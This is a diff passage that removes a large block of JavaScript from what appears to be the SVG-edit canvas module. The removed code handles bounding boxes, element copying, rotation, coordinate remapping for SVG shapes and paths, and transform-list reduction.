-	if (rubberBox == null) { return null; }
-
-	var parent = current_group || getCurrentDrawing().getCurrentLayer();
-	
-	if(!curBBoxes.length) {
-		// Cache all bboxes
-		curBBoxes = getVisibleElementsAndBBoxes(parent);
-	}
-	
-	var resultList = null;
-	try {
-		resultList = parent.getIntersectionList(rect, null);
-	} catch(e) { }
-
-	if (resultList == null || typeof(resultList.item) != "function") {
-		resultList = [];
-		
-		if(!rect) {
-			var rubberBBox = rubberBox.getBBox();
-			var bb = {};
-			
-			for(var o in rubberBBox) {
-				bb[o] = rubberBBox[o] / current_zoom;
-			}
-			rubberBBox = bb;
-			
-		} else {
-			var rubberBBox = rect;
-		}
-		var i = curBBoxes.length;
-		while (i--) {
-			if(!rubberBBox.width || !rubberBBox.width) continue;
-			if (svgedit.math.rectsIntersect(rubberBBox, curBBoxes[i].bbox))  {
-				resultList.push(curBBoxes[i].elem);
-			}
-		}
-	}
-	// addToSelection expects an array, but it's ok to pass a NodeList 
-	// because using square-bracket notation is allowed: 
-	// http://www.w3.org/TR/DOM-Level-2-Core/ecma-script-binding.html
-	return resultList;
-};
-
-// TODO(codedread): Migrate this into svgutils.js
-// Function: getStrokedBBox
-// Get the bounding box for one or more stroked and/or transformed elements
-// 
-// Parameters:
-// elems - Array with DOM elements to check
-// 
-// Returns:
-// A single bounding box object
-getStrokedBBox = this.getStrokedBBox = function(elems) {
-	if(!elems) elems = getVisibleElements();
-	if(!elems.length) return false;
-	// Make sure the expected BBox is returned if the element is a group
-	var getCheckedBBox = function(elem) {
-	
-		try {
-			// TODO: Fix issue with rotated groups. Currently they work
-			// fine in FF, but not in other browsers (same problem mentioned
-			// in Issue 339 comment #2).
-			
-			var bb = svgedit.utilities.getBBox(elem);
-			
-			var angle = svgedit.utilities.getRotationAngle(elem);
-			if ((angle && angle % 90) ||
-			    svgedit.math.hasMatrixTransform(svgedit.transformlist.getTransformList(elem))) {
-				// Accurate way to get BBox of rotated element in Firefox:
-				// Put element in group and get its BBox
-				
-				var good_bb = false;
-				
-				// Get the BBox from the raw path for these elements
-				var elemNames = ['ellipse','path','line','polyline','polygon'];
-				if(elemNames.indexOf(elem.tagName) >= 0) {
-					bb = good_bb = canvas.convertToPath(elem, true);
-				} else if(elem.tagName == 'rect') {
-					// Look for radius
-					var rx = elem.getAttribute('rx');
-					var ry = elem.getAttribute('ry');
-					if(rx || ry) {
-						bb = good_bb = canvas.convertToPath(elem, true);
-					}
-				}
-				
-				if(!good_bb) {
-					// Must use clone else FF freaks out
-					var clone = elem.cloneNode(true); 
-					var g = document.createElementNS(svgns, "g");
-					var parent = elem.parentNode;
-					parent.appendChild(g);
-					g.appendChild(clone);
-					bb = svgedit.utilities.bboxToObj(g.getBBox());
-					parent.removeChild(g);
-				}
-				
-
-				// Old method: Works by giving the rotated BBox,
-				// this is (unfortunately) what Opera and Safari do
-				// natively when getting the BBox of the parent group
-// 						var angle = angle * Math.PI / 180.0;
-// 						var rminx = Number.MAX_VALUE, rminy = Number.MAX_VALUE, 
-// 							rmaxx = Number.MIN_VALUE, rmaxy = Number.MIN_VALUE;
-// 						var cx = round(bb.x + bb.width/2),
-// 							cy = round(bb.y + bb.height/2);
-// 						var pts = [ [bb.x - cx, bb.y - cy], 
-// 									[bb.x + bb.width - cx, bb.y - cy],
-// 									[bb.x + bb.width - cx, bb.y + bb.height - cy],
-// 									[bb.x - cx, bb.y + bb.height - cy] ];
-// 						var j = 4;
-// 						while (j--) {
-// 							var x = pts[j][0],
-// 								y = pts[j][1],
-// 								r = Math.sqrt( x*x + y*y );
-// 							var theta = Math.atan2(y,x) + angle;
-// 							x = round(r * Math.cos(theta) + cx);
-// 							y = round(r * Math.sin(theta) + cy);
-// 		
-// 							// now set the bbox for the shape after it's been rotated
-// 							if (x < rminx) rminx = x;
-// 							if (y < rminy) rminy = y;
-// 							if (x > rmaxx) rmaxx = x;
-// 							if (y > rmaxy) rmaxy = y;
-// 						}
-// 						
-// 						bb.x = rminx;
-// 						bb.y = rminy;
-// 						bb.width = rmaxx - rminx;
-// 						bb.height = rmaxy - rminy;
-			}
-			return bb;
-		} catch(e) { 
-			console.log(elem, e);
-			return null;
-		} 
-	};
-
-	var full_bb;
-	$.each(elems, function() {
-		if(full_bb) return;
-		if(!this.parentNode) return;
-		full_bb = getCheckedBBox(this);
-	});
-	
-	// This shouldn't ever happen...
-	if(full_bb == null) return null;
-	
-	// full_bb doesn't include the stoke, so this does no good!
-// 		if(elems.length == 1) return full_bb;
-	
-	var max_x = full_bb.x + full_bb.width;
-	var max_y = full_bb.y + full_bb.height;
-	var min_x = full_bb.x;
-	var min_y = full_bb.y;
-	
-	// FIXME: same re-creation problem with this function as getCheckedBBox() above
-	var getOffset = function(elem) {
-		var sw = elem.getAttribute("stroke-width");
-		var offset = 0;
-		if (elem.getAttribute("stroke") != "none" && !isNaN(sw)) {
-			offset += sw/2;
-		}
-		return offset;
-	}
-	var bboxes = [];
-	$.each(elems, function(i, elem) {
-		var cur_bb = getCheckedBBox(elem);
-		if(cur_bb) {
-			var offset = getOffset(elem);
-			min_x = Math.min(min_x, cur_bb.x - offset);
-			min_y = Math.min(min_y, cur_bb.y - offset);
-			bboxes.push(cur_bb);
-		}
-	});
-	
-	full_bb.x = min_x;
-	full_bb.y = min_y;
-	
-	$.each(elems, function(i, elem) {
-		var cur_bb = bboxes[i];
-		// ensure that elem is really an element node
-		if (cur_bb && elem.nodeType == 1) {
-			var offset = getOffset(elem);
-			max_x = Math.max(max_x, cur_bb.x + cur_bb.width + offset);
-			max_y = Math.max(max_y, cur_bb.y + cur_bb.height + offset);
-		}
-	});
-	
-	full_bb.width = max_x - min_x;
-	full_bb.height = max_y - min_y;
-	return full_bb;
-}
-
-// Function: getVisibleElements
-// Get all elements that have a BBox (excludes <defs>, <title>, etc).
-// Note that 0-opacity, off-screen etc elements are still considered "visible"
-// for this function
-//
-// Parameters:
-// parent - The parent DOM element to search within
-//
-// Returns:
-// An array with all "visible" elements.
-var getVisibleElements = this.getVisibleElements = function(parent) {
-	if(!parent) parent = $(svgcontent).children(); // Prevent layers from being included
-	
-	var contentElems = [];
-	$(parent).children().each(function(i, elem) {
-		try {
-			if (elem.getBBox()) {
-				contentElems.push(elem);
-			}
-		} catch(e) {}
-	});
-	return contentElems.reverse();
-};
-
-// Function: getVisibleElementsAndBBoxes
-// Get all elements that have a BBox (excludes <defs>, <title>, etc).
-// Note that 0-opacity, off-screen etc elements are still considered "visible"
-// for this function
-//
-// Parameters:
-// parent - The parent DOM element to search within
-//
-// Returns:
-// An array with objects that include:
-// * elem - The element
-// * bbox - The element's BBox as retrieved from getStrokedBBox
-var getVisibleElementsAndBBoxes = this.getVisibleElementsAndBBoxes = function(parent) {
-	if(!parent) parent = $(svgcontent).children(); // Prevent layers from being included
-	
-	var contentElems = [];
-	$(parent).children().each(function(i, elem) {
-		try {
-			if (elem.getBBox()) {
-				contentElems.push({'elem':elem, 'bbox':getStrokedBBox([elem])});
-			}
-		} catch(e) {}
-	});
-	return contentElems.reverse();
-};
-
-// Function: groupSvgElem
-// Wrap an SVG element into a group element, mark the group as 'gsvg'
-//
-// Parameters:
-// elem - SVG element to wrap
-var groupSvgElem = this.groupSvgElem = function(elem) {
-	var g = document.createElementNS(svgns, "g");
-	elem.parentNode.replaceChild(g, elem);
-	$(g).append(elem).data('gsvg', elem)[0].id = getNextId();
-}
-
-// Function: copyElem
-// Create a clone of an element, updating its ID and its children's IDs when needed
-//
-// Parameters:
-// el - DOM element to clone
-//
-// Returns: The cloned element
-var copyElem = function(el) {
-	// manually create a copy of the element
-	var new_el = document.createElementNS(el.namespaceURI, el.nodeName);
-	$.each(el.attributes, function(i, attr) {
-		if (attr.localName != '-moz-math-font-style') {
-			new_el.setAttributeNS(attr.namespaceURI, attr.nodeName, attr.nodeValue);
-		}
-	});
-	// set the copied element's new id
-	new_el.removeAttribute("id");
-	new_el.id = getNextId();
-	
-	// Opera's "d" value needs to be reset for Opera/Win/non-EN
-	// Also needed for webkit (else does not keep curved segments on clone)
-	if(svgedit.browser.isWebkit() && el.nodeName == 'path') {
-		var fixed_d = pathActions.convertPath(el);
-		new_el.setAttribute('d', fixed_d);
-	}
-
-	// now create copies of all children
-	$.each(el.childNodes, function(i, child) {
-		switch(child.nodeType) {
-			case 1: // element node
-				new_el.appendChild(copyElem(child));
-				break;
-			case 3: // text node
-				new_el.textContent = child.nodeValue;
-				break;
-			default:
-				break;
-		}
-	});
-	
-	if($(el).data('gsvg')) {
-		$(new_el).data('gsvg', new_el.firstChild);
-	} else if($(el).data('symbol')) {
-		var ref = $(el).data('symbol');
-		$(new_el).data('ref', ref).data('symbol', ref);
-	}
-	
-	else if(new_el.tagName == 'image') {
-		preventClickDefault(new_el);
-	}
-	return new_el;
-};
-
-// Set scope for these functions
-var getId, getNextId, call;
-
-(function(c) {
-
-	// Object to contain editor event names and callback functions
-	var events = {};
-
-	getId = c.getId = function() { return getCurrentDrawing().getId(); };
-	getNextId = c.getNextId = function() { return getCurrentDrawing().getNextId(); };
-	
-	// Function: call
-	// Run the callback function associated with the given event
-	//
-	// Parameters:
-	// event - String with the event name
-	// arg - Argument to pass through to the callback function
-	call = c.call = function(event, arg) {
-		if (events[event]) {
-			return events[event](this, arg);
-		}
-	};
-	
-	// Function: bind
-	// Attaches a callback function to an event
-	//
-	// Parameters:
-	// event - String indicating the name of the event
-	// f - The callback function to bind to the event
-	// 
-	// Return:
-	// The previous event
-	c.bind = function(event, f) {
-	  var old = events[event];
-		events[event] = f;
-		return old;
-	};
-	
-}(canvas));
-
-// Function: canvas.prepareSvg
-// Runs the SVG Document through the sanitizer and then updates its paths.
-//
-// Parameters:
-// newDoc - The SVG DOM document
-this.prepareSvg = function(newDoc) {
-	this.sanitizeSvg(newDoc.documentElement);
-
-	// convert paths into absolute commands
-	var paths = newDoc.getElementsByTagNameNS(svgns, "path");
-	for (var i = 0, len = paths.length; i < len; ++i) {
-		var path = paths[i];
-		path.setAttribute('d', pathActions.convertPath(path));
-		pathActions.fixEnd(path);
-	}
-};
-
-// Function getRefElem
-// Get the reference element associated with the given attribute value
-//
-// Parameters:
-// attrVal - The attribute value as a string
-var getRefElem = this.getRefElem = function(attrVal) {
-	return getElem(getUrlFromAttr(attrVal).substr(1));
-}
-
-// Function: ffClone
-// Hack for Firefox bugs where text element features aren't updated or get 
-// messed up. See issue 136 and issue 137.
-// This function clones the element and re-selects it 
-// TODO: Test for this bug on load and add it to "support" object instead of 
-// browser sniffing
-//
-// Parameters: 
-// elem - The (text) DOM element to clone
-var ffClone = function(elem) {
-	if(!svgedit.browser.isGecko()) return elem;
-	var clone = elem.cloneNode(true)
-	elem.parentNode.insertBefore(clone, elem);
-	elem.parentNode.removeChild(elem);
-	selectorManager.releaseSelector(elem);
-	selectedElements[0] = clone;
-	selectorManager.requestSelector(clone).showGrips(true);
-	return clone;
-}
-
-
-// this.each is deprecated, if any extension used this it can be recreated by doing this:
-// $(canvas.getRootElem()).children().each(...)
-
-// this.each = function(cb) {
-// 	$(svgroot).children().each(cb);
-// };
-
-
-// Function: setRotationAngle
-// Removes any old rotations if present, prepends a new rotation at the
-// transformed center
-//
-// Parameters:
-// val - The new rotation angle in degrees
-// preventUndo - Boolean indicating whether the action should be undoable or not
-this.setRotationAngle = function(val, preventUndo) {
-	// ensure val is the proper type
-	val = parseFloat(val);
-	var elem = selectedElements[0];
-	var oldTransform = elem.getAttribute("transform");
-	var bbox = svgedit.utilities.getBBox(elem);
-	var cx = bbox.x+bbox.width/2, cy = bbox.y+bbox.height/2;
-	var tlist = getTransformList(elem);
-	
-	// only remove the real rotational transform if present (i.e. at index=0)
-	if (tlist.numberOfItems > 0) {
-		var xform = tlist.getItem(0);
-		if (xform.type == 4) {
-			tlist.removeItem(0);
-		}
-	}
-	// find R_nc and insert it
-	if (val != 0) {
-		var center = transformPoint(cx,cy,transformListToTransform(tlist).matrix);
-		var R_nc = svgroot.createSVGTransform();
-		R_nc.setRotate(val, center.x, center.y);
-		if(tlist.numberOfItems) {
-			tlist.insertItemBefore(R_nc, 0);
-		} else {
-			tlist.appendItem(R_nc);
-		}
-	}
-	else if (tlist.numberOfItems == 0) {
-		elem.removeAttribute("transform");
-	}
-	
-	if (!preventUndo) {
-		// we need to undo it, then redo it so it can be undo-able! :)
-		// TODO: figure out how to make changes to transform list undo-able cross-browser?
-		var newTransform = elem.getAttribute("transform");
-		elem.setAttribute("transform", oldTransform);
-		changeSelectedAttribute("transform",newTransform,selectedElements);
-		call("changed", selectedElements);
-	}
-	var pointGripContainer = getElem("pathpointgrip_container");
-// 		if(elem.nodeName == "path" && pointGripContainer) {
-// 			pathActions.setPointContainerTransform(elem.getAttribute("transform"));
-// 		}
-	var selector = selectorManager.requestSelector(selectedElements[0]);
-	selector.resize();
-	selector.updateGripCursors(val);
-};
-
-// Function: recalculateAllSelectedDimensions
-// Runs recalculateDimensions on the selected elements, 
-// adding the changes to a single batch command
-var recalculateAllSelectedDimensions = this.recalculateAllSelectedDimensions = function() {
-	var text = (current_resize_mode == "none" ? "position" : "size");
-	var batchCmd = new BatchCommand(text);
-
-	var i = selectedElements.length;
-	while(i--) {
-		var elem = selectedElements[i];
-// 			if(getRotationAngle(elem) && !hasMatrixTransform(getTransformList(elem))) continue;
-		var cmd = recalculateDimensions(elem);
-		if (cmd) {
-			batchCmd.addSubCommand(cmd);
-		}
-	}
-
-	if (!batchCmd.isEmpty()) {
-		addCommandToHistory(batchCmd);
-		call("changed", selectedElements);
-	}
-};
-
-// this is how we map paths to our preferred relative segment types
-var pathMap = [0, 'z', 'M', 'm', 'L', 'l', 'C', 'c', 'Q', 'q', 'A', 'a', 
-					'H', 'h', 'V', 'v', 'S', 's', 'T', 't'];
-					
-// Debug tool to easily see the current matrix in the browser's console
-var logMatrix = function(m) {
-	console.log([m.a,m.b,m.c,m.d,m.e,m.f]);
-};
-
-// Function: remapElement
-// Applies coordinate changes to an element based on the given matrix
-//
-// Parameters:
-// selected - DOM element to be changed
-// changes - Object with changes to be remapped
-// m - Matrix object to use for remapping coordinates
-var remapElement = this.remapElement = function(selected,changes,m) {
-
-	var remap = function(x,y) { return transformPoint(x,y,m); },
-		scalew = function(w) { return m.a*w; },
-		scaleh = function(h) { return m.d*h; },
-		doSnapping = curConfig.gridSnapping && selected.parentNode.parentNode.localName === "svg",
-		finishUp = function() {
-			if(doSnapping) for(var o in changes) changes[o] = snapToGrid(changes[o]);
-			assignAttributes(selected, changes, 1000, true);
-		}
-		box = svgedit.utilities.getBBox(selected);
-	
-	for(var i = 0; i < 2; i++) {
-		var type = i === 0 ? 'fill' : 'stroke';
-		var attrVal = selected.getAttribute(type);
-		if(attrVal && attrVal.indexOf('url(') === 0) {
-			if(m.a < 0 || m.d < 0) {
-				var grad = getRefElem(attrVal);
-				var newgrad = grad.cloneNode(true);
-	
-				if(m.a < 0) {
-					//flip x
-					var x1 = newgrad.getAttribute('x1');
-					var x2 = newgrad.getAttribute('x2');
-					newgrad.setAttribute('x1', -(x1 - 1));
-					newgrad.setAttribute('x2', -(x2 - 1));
-				} 
-				
-				if(m.d < 0) {
-					//flip y
-					var y1 = newgrad.getAttribute('y1');
-					var y2 = newgrad.getAttribute('y2');
-					newgrad.setAttribute('y1', -(y1 - 1));
-					newgrad.setAttribute('y2', -(y2 - 1));
-				}
-				newgrad.id = getNextId();
-				findDefs().appendChild(newgrad);
-				selected.setAttribute(type, 'url(#' + newgrad.id + ')');
-			}
-			
-			// Not really working :(
-// 			if(selected.tagName === 'path') {
-// 				reorientGrads(selected, m);
-// 			}
-		}
-	}
-
-
-	var elName = selected.tagName;
-	if(elName === "g" || elName === "text" || elName === "use") {
-		// if it was a translate, then just update x,y
-		if (m.a == 1 && m.b == 0 && m.c == 0 && m.d == 1 && 
-			(m.e != 0 || m.f != 0) ) 
-		{
-			// [T][M] = [M][T']
-			// therefore [T'] = [M_inv][T][M]
-			var existing = transformListToTransform(selected).matrix,
-				t_new = matrixMultiply(existing.inverse(), m, existing);
-			changes.x = parseFloat(changes.x) + t_new.e;
-			changes.y = parseFloat(changes.y) + t_new.f;
-		}
-		else {
-			// we just absorb all matrices into the element and don't do any remapping
-			var chlist = getTransformList(selected);
-			var mt = svgroot.createSVGTransform();
-			mt.setMatrix(matrixMultiply(transformListToTransform(chlist).matrix,m));
-			chlist.clear();
-			chlist.appendItem(mt);
-		}
-	}
-	
-	// now we have a set of changes and an applied reduced transform list
-	// we apply the changes directly to the DOM
-	switch (elName)
-	{
-		case "foreignObject":
-		case "rect":
-		case "image":
-			
-			// Allow images to be inverted (give them matrix when flipped)
-			if(elName === 'image' && (m.a < 0 || m.d < 0)) {
-				// Convert to matrix
-				var chlist = getTransformList(selected);
-				var mt = svgroot.createSVGTransform();
-				mt.setMatrix(matrixMultiply(transformListToTransform(chlist).matrix,m));
-				chlist.clear();
-				chlist.appendItem(mt);
-			} else {
-				var pt1 = remap(changes.x,changes.y);
-				
-				changes.width = scalew(changes.width);
-				changes.height = scaleh(changes.height);
-				
-				changes.x = pt1.x + Math.min(0,changes.width);
-				changes.y = pt1.y + Math.min(0,changes.height);
-				changes.width = Math.abs(changes.width);
-				changes.height = Math.abs(changes.height);
-			}
-			finishUp();
-			break;
-		case "ellipse":
-			var c = remap(changes.cx,changes.cy);
-			changes.cx = c.x;
-			changes.cy = c.y;
-			changes.rx = scalew(changes.rx);
-			changes.ry = scaleh(changes.ry);
-		
-			changes.rx = Math.abs(changes.rx);
-			changes.ry = Math.abs(changes.ry);
-			finishUp();
-			break;
-		case "circle":
-			var c = remap(changes.cx,changes.cy);
-			changes.cx = c.x;
-			changes.cy = c.y;
-			// take the minimum of the new selected box's dimensions for the new circle radius
-			var tbox = svgedit.math.transformBox(box.x, box.y, box.width, box.height, m);
-			var w = tbox.tr.x - tbox.tl.x, h = tbox.bl.y - tbox.tl.y;
-			changes.r = Math.min(w/2, h/2);
-
-			if(changes.r) changes.r = Math.abs(changes.r);
-			finishUp();
-			break;
-		case "line":
-			var pt1 = remap(changes.x1,changes.y1),
-				pt2 = remap(changes.x2,changes.y2);
-			changes.x1 = pt1.x;
-			changes.y1 = pt1.y;
-			changes.x2 = pt2.x;
-			changes.y2 = pt2.y;
-			
-		case "text":
-		case "use":
-			finishUp();
-			break;
-		case "g":
-			var gsvg = $(selected).data('gsvg');
-			if(gsvg) {
-				assignAttributes(gsvg, changes, 1000, true);
-			}
-			break;
-		case "polyline":
-		case "polygon":
-			var len = changes.points.length;
-			for (var i = 0; i < len; ++i) {
-				var pt = changes.points[i];
-				pt = remap(pt.x,pt.y);
-				changes.points[i].x = pt.x;
-				changes.points[i].y = pt.y;
-			}
-
-			var len = changes.points.length;
-			var pstr = "";
-			for (var i = 0; i < len; ++i) {
-				var pt = changes.points[i];
-				pstr += pt.x + "," + pt.y + " ";
-			}
-			selected.setAttribute("points", pstr);
-			break;
-		case "path":
-		
-			var segList = selected.pathSegList;
-			var len = segList.numberOfItems;
-			changes.d = new Array(len);
-			for (var i = 0; i < len; ++i) {
-				var seg = segList.getItem(i);
-				changes.d[i] = {
-					type: seg.pathSegType,
-					x: seg.x,
-					y: seg.y,
-					x1: seg.x1,
-					y1: seg.y1,
-					x2: seg.x2,
-					y2: seg.y2,
-					r1: seg.r1,
-					r2: seg.r2,
-					angle: seg.angle,
-					largeArcFlag: seg.largeArcFlag,
-					sweepFlag: seg.sweepFlag
-				};
-			}
-			
-			var len = changes.d.length,
-				firstseg = changes.d[0],
-				currentpt = remap(firstseg.x,firstseg.y);
-			changes.d[0].x = currentpt.x;
-			changes.d[0].y = currentpt.y;
-			for (var i = 1; i < len; ++i) {
-				var seg = changes.d[i];
-				var type = seg.type;
-				// if absolute or first segment, we want to remap x, y, x1, y1, x2, y2
-				// if relative, we want to scalew, scaleh
-				if (type % 2 == 0) { // absolute
-					var thisx = (seg.x != undefined) ? seg.x : currentpt.x, // for V commands
-						thisy = (seg.y != undefined) ? seg.y : currentpt.y, // for H commands
-						pt = remap(thisx,thisy),
-						pt1 = remap(seg.x1,seg.y1),
-						pt2 = remap(seg.x2,seg.y2);
-					seg.x = pt.x;
-					seg.y = pt.y;
-					seg.x1 = pt1.x;
-					seg.y1 = pt1.y;
-					seg.x2 = pt2.x;
-					seg.y2 = pt2.y;
-					seg.r1 = scalew(seg.r1),
-					seg.r2 = scaleh(seg.r2);
-				}
-				else { // relative
-					seg.x = scalew(seg.x);
-					seg.y = scaleh(seg.y);
-					seg.x1 = scalew(seg.x1);
-					seg.y1 = scaleh(seg.y1);
-					seg.x2 = scalew(seg.x2);
-					seg.y2 = scaleh(seg.y2);
-					seg.r1 = scalew(seg.r1),
-					seg.r2 = scaleh(seg.r2);
-				}
-			} // for each segment
-		
-			var dstr = "";
-			var len = changes.d.length;
-			for (var i = 0; i < len; ++i) {
-				var seg = changes.d[i];
-				var type = seg.type;
-				dstr += pathMap[type];
-				switch(type) {
-					case 13: // relative horizontal line (h)
-					case 12: // absolute horizontal line (H)
-						dstr += seg.x + " ";
-						break;
-					case 15: // relative vertical line (v)
-					case 14: // absolute vertical line (V)
-						dstr += seg.y + " ";
-						break;
-					case 3: // relative move (m)
-					case 5: // relative line (l)
-					case 19: // relative smooth quad (t)
-					case 2: // absolute move (M)
-					case 4: // absolute line (L)
-					case 18: // absolute smooth quad (T)
-						dstr += seg.x + "," + seg.y + " ";
-						break;
-					case 7: // relative cubic (c)
-					case 6: // absolute cubic (C)
-						dstr += seg.x1 + "," + seg.y1 + " " + seg.x2 + "," + seg.y2 + " " +
-							 seg.x + "," + seg.y + " ";
-						break;
-					case 9: // relative quad (q) 
-					case 8: // absolute quad (Q)
-						dstr += seg.x1 + "," + seg.y1 + " " + seg.x + "," + seg.y + " ";
-						break;
-					case 11: // relative elliptical arc (a)
-					case 10: // absolute elliptical arc (A)
-						dstr += seg.r1 + "," + seg.r2 + " " + seg.angle + " " + (+seg.largeArcFlag) +
-							" " + (+seg.sweepFlag) + " " + seg.x + "," + seg.y + " ";
-						break;
-					case 17: // relative smooth cubic (s)
-					case 16: // absolute smooth cubic (S)
-						dstr += seg.x2 + "," + seg.y2 + " " + seg.x + "," + seg.y + " ";
-						break;
-				}
-			}
-
-			selected.setAttribute("d", dstr);
-			break;
-	}
-};
-
-// Function: updateClipPath
-// Updates a <clipPath>s values based on the given translation of an element
-//
-// Parameters:
-// attr - The clip-path attribute value with the clipPath's ID
-// tx - The translation's x value
-// ty - The translation's y value
-var updateClipPath = function(attr, tx, ty) {
-	var path = getRefElem(attr).firstChild;
-	
-	var cp_xform = getTransformList(path);
-	
-	var newxlate = svgroot.createSVGTransform();
-	newxlate.setTranslate(tx, ty);
-
-	cp_xform.appendItem(newxlate);
-	
-	// Update clipPath's dimensions
-	recalculateDimensions(path);
-}
-
-// Function: recalculateDimensions
-// Decides the course of action based on the element's transform list
-//
-// Parameters:
-// selected - The DOM element to recalculate
-//
-// Returns: 
-// Undo command object with the resulting change
-var recalculateDimensions = this.recalculateDimensions = function(selected) {
-	if (selected == null) return null;
-	
-	var tlist = getTransformList(selected);
-	
-	// remove any unnecessary transforms
-	if (tlist && tlist.numberOfItems > 0) {
-		var k = tlist.numberOfItems;
-		while (k--) {
-			var xform = tlist.getItem(k);
-			if (xform.type === 0) {
-				tlist.removeItem(k);
-			}
-			// remove identity matrices
-			else if (xform.type === 1) {
-				if (svgedit.math.isIdentity(xform.matrix)) {
-					tlist.removeItem(k);
-				}
-			}
-			// remove zero-degree rotations
-			else if (xform.type === 4) {
-				if (xform.angle === 0) {
-					tlist.removeItem(k);
-				}
-			}
-		}
-		// End here if all it has is a rotation
-		if(tlist.numberOfItems === 1 && getRotationAngle(selected)) return null;
-	}
-	
-	// if this element had no transforms, we are done
-	if (!tlist || tlist.numberOfItems == 0) {
-		selected.removeAttribute("transform");
-		return null;
-	}
-	
-	// TODO: Make this work for more than 2
-	if (tlist) {
-		var k = tlist.numberOfItems;
-		var mxs = [];
-		while (k--) {
-			var xform = tlist.getItem(k);
-			if (xform.type === 1) {
-				mxs.push([xform.matrix, k]);
-			} else if(mxs.length) {
-				mxs = [];
-			}
-		}
-		if(mxs.length === 2) {
-			var m_new = svgroot.createSVGTransformFromMatrix(matrixMultiply(mxs[1][0], mxs[0][0]));
-			tlist.removeItem(mxs[0][1]);
-			tlist.removeItem(mxs[1][1]);
-			tlist.insertItemBefore(m_new, mxs[1][1]);
-		}
-		
-		// combine matrix + translate
-		k = tlist.numberOfItems;
-		if(k >= 2 && tlist.getItem(k-2).type === 1 && tlist.getItem(k-1).type === 2) {
-			var mt = svgroot.createSVGTransform();
-			
-			var m = matrixMultiply(
-				tlist.getItem(k-2).matrix, 
-				tlist.getItem(k-1).matrix
-			);		
-			mt.setMatrix(m);
-			tlist.removeItem(k-2);
-			tlist.removeItem(k-2);
-			tlist.appendItem(mt);
-		}
-	}
-	
-	// If it still has a single [M] or [R][M], return null too (prevents BatchCommand from being returned).
-	switch ( selected.tagName ) {
-		// Ignore these elements, as they can absorb the [M]
-		case 'line':
-		case 'polyline':
-		case 'polygon':
-		case 'path':
-			break;
-		default:
-			if(
-				(tlist.numberOfItems === 1 && tlist.getItem(0).type === 1)
-				||  (tlist.numberOfItems === 2 && tlist.getItem(0).type === 1 && tlist.getItem(0).type === 4)
-			) {
-				return null;
-			}
-	}
-	
-	// Grouped SVG element 
-	var gsvg = $(selected).data('gsvg');
-	
-	// we know we have some transforms, so set up return variable		
-	var batchCmd = new BatchCommand("Transform");
-	
-	// store initial values that will be affected by reducing the transform list
-	var changes = {}, initial = null, attrs = [];
-	switch (selected.tagName)
-	{
-		case "line":
-			attrs = ["x1", "y1", "x2", "y2"];
-			break;
-		case "circle":
-			attrs = ["cx", "cy", "r"];
-			break;
-		case "ellipse":
-			attrs = ["cx", "cy", "rx", "ry"];
-			break;
-		case "foreignObject":
-		case "rect":
-		case "image":
-			attrs = ["width", "height", "x", "y"];
-			break;
-		case "use":
-		case "text":
-			attrs = ["x", "y"];
-			break;
-		case "polygon":
-		case "polyline":
-			initial = {};
-			initial["points"] = selected.getAttribute("points");
-			var list = selected.points;
-			var len = list.numberOfItems;
-			changes["points"] = new Array(len);
-			for (var i = 0; i < len; ++i) {
-				var pt = list.getItem(i);
-				changes["points"][i] = {x:pt.x,y:pt.y};
-			}
-			break;
-		case "path":
-			initial = {};
-			initial["d"] = selected.getAttribute("d");
-			changes["d"] = selected.getAttribute("d");
-			break;
-	} // switch on element type to get initial values
-	
-	if(attrs.length) {
-		changes = $(selected).attr(attrs);
-		$.each(changes, function(attr, val) {
-			changes[attr] = convertToNum(attr, val);
-		});
-	} else if(gsvg) {
-		// GSVG exception
-		changes = {
-			x: $(gsvg).attr('x') || 0,
-			y: $(gsvg).attr('y') || 0
-		};
-	}
-	
-	// if we haven't created an initial array in polygon/polyline/path, then 
-	// make a copy of initial values and include the transform
-	if (initial == null) {
-		initial = $.extend(true, {}, changes);
-		$.each(initial, function(attr, val) {
-			initial[attr] = convertToNum(attr, val);
-		});
-	}
-	// save the start transform value too
-	initial["transform"] = start_transform ? start_transform : "";
-	
-	// if it's a regular group, we have special processing to flatten transforms
-	if ((selected.tagName == "g" && !gsvg) || selected.tagName == "a") {
-		var box = svgedit.utilities.getBBox(selected),
-			oldcenter = {x: box.x+box.width/2, y: box.y+box.height/2},
-			newcenter = transformPoint(box.x+box.width/2, box.y+box.height/2,
-							transformListToTransform(tlist).matrix),
-			m = svgroot.createSVGMatrix();
-		
-		
-		// temporarily strip off the rotate and save the old center
-		var gangle = getRotationAngle(selected);
-		if (gangle) {
-			var a = gangle * Math.PI / 180;
-			if ( Math.abs(a) > (1.0e-10) ) {
-				var s = Math.sin(a)/(1 - Math.cos(a));
-			} else {
-				// FIXME: This blows up if the angle is exactly 0!
-				var s = 2/a;
-			}
-			for (var i = 0; i < tlist.numberOfItems; ++i) {
-				var xform = tlist.getItem(i);
-				if (xform.type == 4) {
-					// extract old center through mystical arts
-					var rm = xform.matrix;
-					oldcenter.y = (s*rm.e + rm.f)/2;
-					oldcenter.x = (rm.e - s*rm.f)/2;
-					tlist.removeItem(i);
-					break;
-				}
-			}
-		}
-		var tx = 0, ty = 0,
-			operation = 0,
-			N = tlist.numberOfItems;
-
-		if(N) {
-			var first_m = tlist.getItem(0).matrix;
-		}
-
-		// first, if it was a scale then the second-last transform will be it
-		if (N >= 3 && tlist.getItem(N-2).type == 3 && 
-			tlist.getItem(N-3).type == 2 && tlist.getItem(N-1).type == 2) 
-		{
-			operation = 3; // scale
-		
-			// if the children are unrotated, pass the scale down directly
-			// otherwise pass the equivalent matrix() down directly
-			var tm = tlist.getItem(N-3).matrix,
-				sm = tlist.getItem(N-2).matrix,
-				tmn = tlist.getItem(N-1).matrix;
-		
-			var children = selected.childNodes;
-			var c = children.length;
-			while (c--) {
-				var child = children.item(c);
-				tx = 0;
-				ty = 0;
-				if (child.nodeType == 1) {
-					var childTlist = getTransformList(child);
-
-					// some children might not have a transform (<metadata>, <defs>, etc)
-					if (!childTlist) continue;
-
-					var m = transformListToTransform(childTlist).matrix;
-
-					// Convert a matrix to a scale if applicable
-// 					if(hasMatrixTransform(childTlist) && childTlist.numberOfItems == 1) {
-// 						if(m.b==0 && m.c==0 && m.e==0 && m.f==0) {
-// 							childTlist.removeItem(0);
-// 							var translateOrigin = svgroot.createSVGTransform(),
-// 								scale = svgroot.createSVGTransform(),
-// 								translateBack = svgroot.createSVGTransform();
-// 							translateOrigin.setTranslate(0, 0);
-// 							scale.setScale(m.a, m.d);
-// 							translateBack.setTranslate(0, 0);
-// 							childTlist.appendItem(translateBack);
-// 							childTlist.appendItem(scale);
-// 							childTlist.appendItem(translateOrigin);
